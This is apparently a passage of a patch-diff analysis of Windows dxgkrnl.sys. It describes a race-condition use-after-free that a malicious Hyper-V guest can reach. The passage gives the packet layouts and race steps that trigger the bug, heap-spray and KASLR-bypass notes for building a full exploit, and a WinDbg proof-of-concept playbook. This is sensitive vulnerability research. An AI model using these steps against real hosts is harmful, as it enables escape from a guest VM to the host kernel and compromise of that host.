&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D203&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;A0h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_148&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D208&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D20C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C023D1B0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D20E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;D0h&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proceed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acquire&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;run&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BLT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched Assembly (Fixed Sequence, 0x1C023CBE0)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CD57&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;A0h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_148&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CD5C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CD5F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C023CDA3&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;log&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;an&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDA3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;supplied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDA7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C023CDC3&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proceed&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDA9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_WdLogNewEntry5_WdError&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mismatch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDB0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;00&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDB5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;A0h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_148&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDBD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDC1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C023CD73&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023CDC3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;D0h&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proceed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acquire&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;run&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BLT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To trigger the critical UAF (&lt;code&gt;ProcessChannelMessage&lt;/code&gt;):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtain access to the Hyper-V GPU Paravirtualization VMBus interface from a malicious guest VM.&lt;/li&gt;
&lt;li&gt;Ensure the target host has internal feature flag &lt;code&gt;Feature_1259646266&lt;/code&gt; disabled (default state).&lt;/li&gt;
&lt;li&gt;Send a message of type 1 (CreateBundle) to the Remote Object Channel with a size of exactly 0x58.&lt;/li&gt;
&lt;li&gt;The message structure must be formatted as follows:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x10&lt;/code&gt;: Handle count (&lt;code&gt;&amp;gt; 0&lt;/code&gt; and &lt;code&gt;&amp;lt;= 0x10&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x14&lt;/code&gt;: Flags (Bit 0 must be set to indicate shared VM objects are present)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x18&lt;/code&gt;: Array of handles resolving to valid &lt;code&gt;DXGSHAREDVMOBJECT&lt;/code&gt; (type &lt;code&gt;0xd&lt;/code&gt;) in the host handle table.&lt;/li&gt;
&lt;li&gt;From a secondary thread or virtual CPU in the guest, immediately send a type 3 message (DestroyBundle) targeting one of the shared VM object handles provided in step 4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Constraint&lt;/strong&gt;: Because no &lt;code&gt;AddReference&lt;/code&gt; is taken (feature flag disabled), the looked-up object is not kept alive by this code path. The concurrent teardown must drop the object's last reference and free it between the handle-table lookup (&lt;code&gt;mov r12, [r8+r12*8]&lt;/code&gt; at &lt;code&gt;0x1c028c73c&lt;/code&gt;) and the two reads (&lt;code&gt;mov rax, [r12+8]&lt;/code&gt; at &lt;code&gt;0x1c028c75f&lt;/code&gt; and &lt;code&gt;mov eax, [r12]&lt;/code&gt; at &lt;code&gt;0x1c028c769&lt;/code&gt;), so those reads land on freed pool memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect&lt;/strong&gt;: Kernel crash (BSOD) due to paged out or corrupted pool memory being accessed, or silent kernel memory corruption if the pool has been sprayed with attacker-controlled data.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Provided Primitive&lt;/strong&gt;: The bug offers a &lt;strong&gt;Kernel Use-After-Free (UAF)&lt;/strong&gt;. The attacker frees a &lt;code&gt;DXGSHAREDVMOBJECT&lt;/code&gt; kernel pool allocation while the host kernel holds a stale pointer to it. The kernel subsequently reads from offsets &lt;code&gt;+0x0&lt;/code&gt; and &lt;code&gt;+0x8&lt;/code&gt; of the freed allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Turning it into a Full Exploit&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Heap Spray&lt;/strong&gt;: Reclaim the freed pool allocation (typically Nonpaged Pool) using a kernel object of identical allocation size that allows user-mode data injection. Good candidates involve &lt;code&gt;NtCreateWorkerFactory&lt;/code&gt; or specific GDI objects depending on the exact size of &lt;code&gt;DXGSHAREDVMOBJECT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Info Leak&lt;/strong&gt;: Combine with a separate information leak vulnerability (or use the stale read itself if the reclaimed data contains pointers) to defeat KASLR.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Control Flow Hijack&lt;/strong&gt;: Although the visible unpatched sequence only shows &lt;em&gt;reads&lt;/em&gt;, modifying the object's internal state via reclaimed memory could corrupt subsequent kernel operations relying on that object's lifetime or vtable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations Impact&lt;/strong&gt;: &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KASLR&lt;/strong&gt;: Must be bypassed to utilize kernel function pointers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pool Integrity/SEGMENTHEAP&lt;/strong&gt;: Modern Windows pool segregation may require careful spray sizing to ensure the reclaimed object lands in the exact freed slot.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VBS/HVCI&lt;/strong&gt;: If active, arbitrary write primitive development must rely on data-only attacks (corrupting privilege bits or linked lists) rather than write-what-where shellcode execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;To validate and trace this vulnerability on an unpatched host with a kernel debugger (KD/WinDbg) attached:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp dxgkrnl!DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage&lt;/code&gt; (or &lt;code&gt;bp 0x1c028c3a0&lt;/code&gt; if symbols are unavailable). This is the entry point to catch message type 1.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp 0x1c00281dc&lt;/code&gt; (Target &lt;code&gt;Feature_1259646266__private_IsEnabledDeviceUsage&lt;/code&gt;). Inspect the return value to confirm the vulnerable path is taken.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;bp 0x1c028c73c&lt;/code&gt; (&lt;code&gt;mov r12, [r8+r12*8]&lt;/code&gt;, the handle-table lookup that loads the &lt;code&gt;DXGSHAREDVMOBJECT&lt;/code&gt; pointer; the feature-flag check follows at &lt;code&gt;0x1c028c749&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What to inspect at each breakpoint&lt;/strong&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;ProcessChannelMessage&lt;/code&gt;: &lt;code&gt;rcx&lt;/code&gt; holds &lt;code&gt;arg2&lt;/code&gt; (the message packet). Read &lt;code&gt;poi(rcx+0x10)&lt;/code&gt; for handle count, and &lt;code&gt;poi(rcx+0x14)&lt;/code&gt; to verify bit 0 is set.&lt;/li&gt;
&lt;li&gt;At the handle iteration loop: &lt;code&gt;r12&lt;/code&gt; holds the raw pointer to the looked-up &lt;code&gt;DXGSHAREDVMOBJECT&lt;/code&gt;. Monitor &lt;code&gt;r12&lt;/code&gt; closely.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At &lt;code&gt;0x1c028c74e&lt;/code&gt; (&lt;code&gt;test eax, eax&lt;/code&gt;, right after the feature call): verify &lt;code&gt;eax&lt;/code&gt; (return value of the feature check). If &lt;code&gt;eax == 0&lt;/code&gt;, the &lt;code&gt;jz&lt;/code&gt; at &lt;code&gt;0x1c028c750&lt;/code&gt; jumps over &lt;code&gt;AddReference&lt;/code&gt; and the ref-array store, straight to the reads at &lt;code&gt;0x1c028c75f&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Key instructions/offsets&lt;/strong&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0238ed8&lt;/code&gt;: The &lt;code&gt;DXGSHAREDVMOBJECT::AddReference&lt;/code&gt; call that is skipped when the flag is disabled.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c028c805&lt;/code&gt;: &lt;code&gt;Release@DXGAUTOPUSHLOCK&lt;/code&gt;, where the handle-table shared push lock is released after the loop completes.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mov rax, [r12+0x8]&lt;/code&gt; at &lt;code&gt;0x1c028c75f&lt;/code&gt; and &lt;code&gt;mov eax, [r12]&lt;/code&gt; at &lt;code&gt;0x1c028c769&lt;/code&gt;: the exact instructions performing the reference-less dereference.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup&lt;/strong&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;This requires a Hyper-V environment. The host runs the unpatched &lt;code&gt;dxgkrnl.sys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Spin up a guest VM with GPU-PV (GPU Paravirtualization) enabled.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;From the guest, use custom code to interact with the virtual GPU device interface, sending raw VMBus packets. Specifically, issue a CreateBundle (type 1) with a shared VM object handle, while concurrently issuing a DestroyBundle (type 3) for the same handle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Expected observation&lt;/strong&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;If the race is won, the kernel debugger will halt with a Bugcheck (e.g., &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The faulting instruction will be the memory read from &lt;code&gt;r12&lt;/code&gt;. &lt;/li&gt;
&lt;li&gt;Inspecting &lt;code&gt;!pool r12&lt;/code&gt; will show that the memory is &lt;code&gt;Free&lt;/code&gt;, confirming the UAF.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Security-Critical Changes&lt;/strong&gt;:
- &lt;code&gt;DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage&lt;/code&gt;: Removed feature flag gate for &lt;code&gt;AddReference&lt;/code&gt; (Critical UAF fix).
- &lt;code&gt;DXG_HOST_VIRTUALGPU_VMBUS::VmBusBlt&lt;/code&gt;: Removed feature flag gate for context/device authorization check (Confused Deputy fix).
- &lt;code&gt;DXG_HOST_GLOBAL_VMBUS::VmBusCreateNtSharedObject&lt;/code&gt;: Enforced &lt;code&gt;DXGRESOURCEREFERENCE&lt;/code&gt; for type 0x4 objects.
- &lt;code&gt;SignalSynchronizationObjectFromCpu&lt;/code&gt;, &lt;code&gt;DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObjectCblt&lt;/code&gt;, &lt;code&gt;DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObject&lt;/code&gt;: Hardened sync-object locking by REMOVING the &lt;code&gt;Feature_2505606457&lt;/code&gt; gate around &lt;code&gt;DXGSYNCOBJECTLOCK::AcquireShared&lt;/code&gt; (unpatched gated behind the flag, patched unconditional).
- &lt;code&gt;DXGDEVICE::PinResources&lt;/code&gt;, &lt;code&gt;DXGDEVICE::UnpinResource&lt;/code&gt;, &lt;code&gt;DXGCONTEXT::RenderKmLda&lt;/code&gt;: ADDED per-resource &lt;code&gt;DXGAUTOMUTEX::Acquire&lt;/code&gt; / &lt;code&gt;DXGPUSHLOCK::AcquireShared&lt;/code&gt; locking that is absent from the unpatched build; the new locking is itself gated behind the newly-introduced &lt;code&gt;Feature_253710648&lt;/code&gt; staging flag (present only in the patched build).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Behavioral / Cosmetic Changes (Bulk Triage)&lt;/strong&gt;:
The remaining functions (&lt;code&gt;DXGDEVICE::EvictAllResources&lt;/code&gt;, &lt;code&gt;DxgEnumHandleChildrenCB&lt;/code&gt;, &lt;code&gt;DxgkGetDeviceStateInternal&lt;/code&gt;, &lt;code&gt;DXGCHANNELENDPOINTPROXY::FreeHandle&lt;/code&gt;, &lt;code&gt;DXGDEVICE::DestroyDeferredAllocations&lt;/code&gt;, &lt;code&gt;ADAPTER_RENDER::FreeResourceHandleAndWaitForZeroReferences&lt;/code&gt;, &lt;code&gt;DXGDEVICE::PinDirectFlipResources&lt;/code&gt;, &lt;code&gt;DXGDEVICE::DisablePinnedHardware&lt;/code&gt;, &lt;code&gt;DXGDEVICE::AppendAllocationListToResourceOrDevice&lt;/code&gt;, &lt;code&gt;DXGDEVICE::DestroyClientResource&lt;/code&gt;, &lt;code&gt;DXGDEVICE::GetDeviceExecutionState&lt;/code&gt;, &lt;code&gt;DxgkCddEvict&lt;/code&gt;, &lt;code&gt;DxgkCddMakeResident&lt;/code&gt;, &lt;code&gt;DXGDEVICE::OpenCddPrimaryHandle&lt;/code&gt;, &lt;code&gt;MapGpuVirtualAddressToAllocation&lt;/code&gt;, &lt;code&gt;DXGDEVICE::CheckMultiPlaneOverlaySupport3&lt;/code&gt;, &lt;code&gt;DXGDEVICE::ReportDeviceResources&lt;/code&gt;, &lt;code&gt;DxgEscapeEvictWorker&lt;/code&gt;, &lt;code&gt;DxgkOpenSyncObjectFromNtHandle2Impl&lt;/code&gt;, &lt;code&gt;DXGDXGIKEYEDMUTEX::OpenSharedSurfForDevice&lt;/code&gt;, &lt;code&gt;REMOTEVSYNCMAPPING::AddMapping&lt;/code&gt;, &lt;code&gt;DxgkCreateSynchronizationObjectImpl&lt;/code&gt;, &lt;code&gt;DXGDEVICE::TerminateAllocations&lt;/code&gt;, &lt;code&gt;DxgkDestroyAllocationInternal&lt;/code&gt;, &lt;code&gt;DXGDEVICE::CreateAllocation&lt;/code&gt;) primarily underwent structural restructuring, register reallocation by the compiler, and the addition of the same feature flag gates for various mutex operations that were subsequently cleaned up in the security-critical fixes.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There were no added or removed functions between the unpatched and patched binaries. The patch relies entirely on modifying control flow and removing conditional feature flag branches inside existing functions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level&lt;/strong&gt;: High. The patch differences clearly identify the removal of &lt;code&gt;Feature_*_IsEnabled()&lt;/code&gt; wrappers around critical security boundaries (locking, reference counting, and authorization).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions Made&lt;/strong&gt;: The analysis assumes the default state of the mentioned internal feature flags (&lt;code&gt;Feature_1259646266&lt;/code&gt;, &lt;code&gt;Feature_611095865&lt;/code&gt;, etc.) is &lt;code&gt;FALSE&lt;/code&gt; in the unpatched production binary, given that their purpose in patching is to enable security mechanisms unconditionally.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification Required&lt;/strong&gt;: A researcher developing a PoC must confirm the size of the &lt;code&gt;DXGSHAREDVMOBJECT&lt;/code&gt; to prepare the kernel heap spray. Additionally, developing a reliable VMBus packet injector from a guest VM is required to actually trigger the race condition, which requires interacting with the Hyper-V integration components.&lt;/li&gt;
